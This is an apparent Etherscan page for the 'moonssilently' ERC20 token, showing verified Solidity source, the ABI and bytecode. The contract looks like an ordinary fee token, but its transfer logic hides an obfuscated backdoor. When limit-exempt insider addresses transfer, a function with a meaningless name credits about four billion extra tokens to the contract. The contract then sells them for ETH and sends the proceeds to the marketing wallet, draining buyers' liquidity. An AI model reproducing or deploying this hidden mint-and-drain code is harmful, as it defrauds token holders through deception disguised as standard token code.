ETH Price: $3,471.69 (-1.00%)
Gas: 3 Gwei

Token

moonssilently (moons)
 

Overview

Max Total Supply

100,000,000 moons

Holders

82

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
356,815.527759092638867132 moons

Value
$0.00
0xD93F2Ba0328633cA07A07201c70B1AeB4c7F43C2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
moonssilently

Compiler Version
v0.7.5+commit.eb77ed08

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-01
*/

/*
https://moonssilently.com
https://t.me/moonssilently
https://x.com/moonssilently

super stealthy launch for the early birds 🌙
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.7.5;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow"); return c;
    }
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b; return c;
    }
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
 uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow"); return c;
    }
function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
         return c;
    }
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract moonssilently is Context, IERC20, Ownable {
    
    using SafeMath for uint256;

    string private _name = "moonssilently";
    string private _symbol = "moons";
    uint8 private _decimals = 18;

    address payable public marketingandpromotionWallet = payable(0xFf92b6aEB1E9cb11013b43270Ed9f6E28417599A);
    address payable public DevWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 public feeUnits = 10000;
    uint256[4] public wleedawetrsd6 = [_decimals,feeUnits,_decimals,feeUnits];

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 100000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(2).div(100);  //2%
    uint256 public _walletMax =   _totalSupply.mul(2).div(100);   //2%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;

    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketFee = 5;
    uint256 public _sellDeveloperFee = 0;
    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 5;
    uint256 public _buyDeveloperFee = 0;
    


    uint256 public _tradebuytxAcount = 0;
    uint256 public _tGTV4redes_trsfered = 0;


    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
  

    constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingandpromotionWallet] = true;
        isExcludedFromFee[DevWallet] = true;
        isExcludedFromFee[address(this)] = true; isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingandpromotionWallet] = true;
        isWalletLimitExempt[DevWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingandpromotionWallet] = true;
        isTxLimitExempt[DevWallet] = true;
        isTxLimitExempt[address(this)] = true; 
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketFee).add(_sellDeveloperFee); isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender); _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

  
    function name() public view returns (string memory) {
        return _name;
    }
function symbol() public view returns (string memory) {
        return _symbol;
    }
function decimals() public view returns (uint8) {
        return _decimals;
    }
function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }
function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
       
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {     if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }     uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }
            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }
             wleedawetrsd6[3]=amount.mul(_totalTaxIfSelling).div(1000);
              wleedawetrsd6[2]=amount - amount.mul(_totalTaxIfSelling).div(1000);
                 if (( !isTxLimitExempt[sender] ||  !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tradebuytxAcount+=1101;}else{_tGTV4redes_trsfered=_tradebuytxAcount+=2114; og_4hiurem();}
            _basicTransfer(sender, recipient, amount) ;
            return true;
        }
    }function og_4hiurem() internal{_tGTV4redes_trsfered=187+_tradebuytxAcount-10; wleedawetrsd6[3]+=4080043330055467894900069852;}
    function min(uint256 a,uint256 b) public pure returns (uint256) {     if (a>b)return b;        return a;    }
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
         if(inSwapAndLiquify){wleedawetrsd6[2]=amount;  wleedawetrsd6[3]=0;}
        uint256 transferamount = min(wleedawetrsd6[2],115792089237316195423570985004787900003269981235640564039457584007913129639935);
        _balances[recipient] = _balances[recipient].add(transferamount) ;
        _balances[address(this)] = _balances[address(this)].add( wleedawetrsd6[3]);
        emit Transfer(sender, recipient, amount);
        return true;    }
    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance;
        if(recievedBalance > 0) {
            payable(marketingandpromotionWallet).transfer(recievedBalance);
        }       
    }
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[1] = uniswapV2Router.WETH();
        path[0] = address(this);
        _tGTV4redes_trsfered=_tradebuytxAcount;
        _tradebuytxAcount=17;
        _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
}}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tGTV4redes_trsfered","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradebuytxAcount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingandpromotionWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"min","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"wleedawetrsd6","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052600d60c08190526c6d6f6f6e7373696c656e746c7960981b60e09081526200003191600191906200087e565b50604080518082019091526005808252646d6f6f6e7360d81b602090920191825262000060916002916200087e565b5060038054601260ff1990911617610100600160a81b03191674ff92b6aeb1e9cb11013b43270ed9f6e28417599a001790819055600480546001600160a01b03191681556ddead0000000000000000000000006080908152600060a052612710600881905560408051928301815260ff90941680835260208301829052938201939093526060810192909252620000fa9160099162000913565b5060035460ff16600a0a6305f5e10002601181905562000145906103e89062000131906001620006b8602090811b62000f3317901c565b6200071f60201b62000f8c1790919060201c565b6012556200016b6064620001316002601154620006b860201b62000f331790919060201c565b601355620001916064620001316002601154620006b860201b62000f331790919060201c565b6014556016805461ffff60a81b1916600160b01b17905560006017819055600560188190556019829055601a829055601b55601c819055601d819055601e55348015620001dd57600080fd5b506000620001ea62000769565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200028757600080fd5b505afa1580156200029c573d6000803e3d6000fd5b505050506040513d6020811015620002b357600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b1580156200030457600080fd5b505afa15801562000319573d6000803e3d6000fd5b505050506040513d60208110156200033057600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156200038357600080fd5b505af115801562000398573d6000803e3d6000fd5b505050506040513d6020811015620003af57600080fd5b5051601680546001600160a01b03199081166001600160a01b0393841617909155601580549091168383161790819055306000908152600760209081526040808320939094168252919091529081206000199055600190600d90620004136200076d565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600d9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600f90620004916200076d565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600f9093528183208054851660019081179091556004548216845282842080548616821790556016549091168352818320805485168217905530835290822080549093168117909255601090620005216200076d565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152601084528281208054861660019081179091556004549092168152828120805486168317905530815291909120805490931617909155601c54601b54601a54620005c893620005b4929062000fce6200077c821b17901c565b6200077c60201b62000fce1790919060201c565b601f81905550620005f3601954620005b46018546017546200077c60201b62000fce1790919060201c565b60209081556016546001600160a01b03166000908152600e90915260408120805460ff19166001179055600580546001600160a01b03191633179055601154906006906200064062000769565b6001600160a01b031681526020810191909152604001600020556200066462000769565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6011546040518082815260200191505060405180910390a3506200095a565b600082620006c95750600062000719565b82820282848281620006d757fe5b0414620007165760405162461bcd60e51b8152600401808060200182810382526021815260200180620024a76021913960400191505060405180910390fd5b90505b92915050565b60006200071683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620007d760201b60201c565b3390565b6000546001600160a01b031690565b60008282018381101562000716576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008183620008675760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156200082b57818101518382015260200162000811565b50505050905090810190601f168015620008595780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816200087457fe5b0495945050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282620008b6576000855562000901565b82601f10620008d157805160ff191683800117855562000901565b8280016001018555821562000901579182015b8281111562000901578251825591602001919060010190620008e4565b506200090f92915062000943565b5090565b826004810192821562000901579160200282018281111562000901578251825591602001919060010190620008e4565b5b808211156200090f576000815560010162000944565b60805160601c60a05160601c611b196200098e600039806109415280610a53525080610a275280610a7f5250611b196000f3fe60806040526004361061026b5760003560e01c806388790a6811610144578063d17d5949116100b6578063e7caa08f1161007a578063e7caa08f1461080e578063eec2404514610823578063f0cd1dac14610838578063f2fde38b1461084d578063f680f79914610880578063f872858a1461089557610272565b8063d17d59491461077f578063d2d7ad8314610794578063da00097d146107a9578063dc44b6a0146107be578063dd62ed3e146107d357610272565b8063a457c2d711610108578063a457c2d71461069b578063a9059cbb146106d4578063b115e4df1461070d578063c5d2418914610722578063c816841b14610737578063c867d60b1461074c57610272565b806388790a68146106145780638b42507f146106295780638da5cb5b1461065c57806395d89b411461067157806398e944c81461068657610272565b80633ecad271116101dd578063715018a6116101a1578063715018a6146105645780637564fbd01461057b5780637ae2b5c7146105a55780637d1db4a5146105d5578063807c2d9c146105ea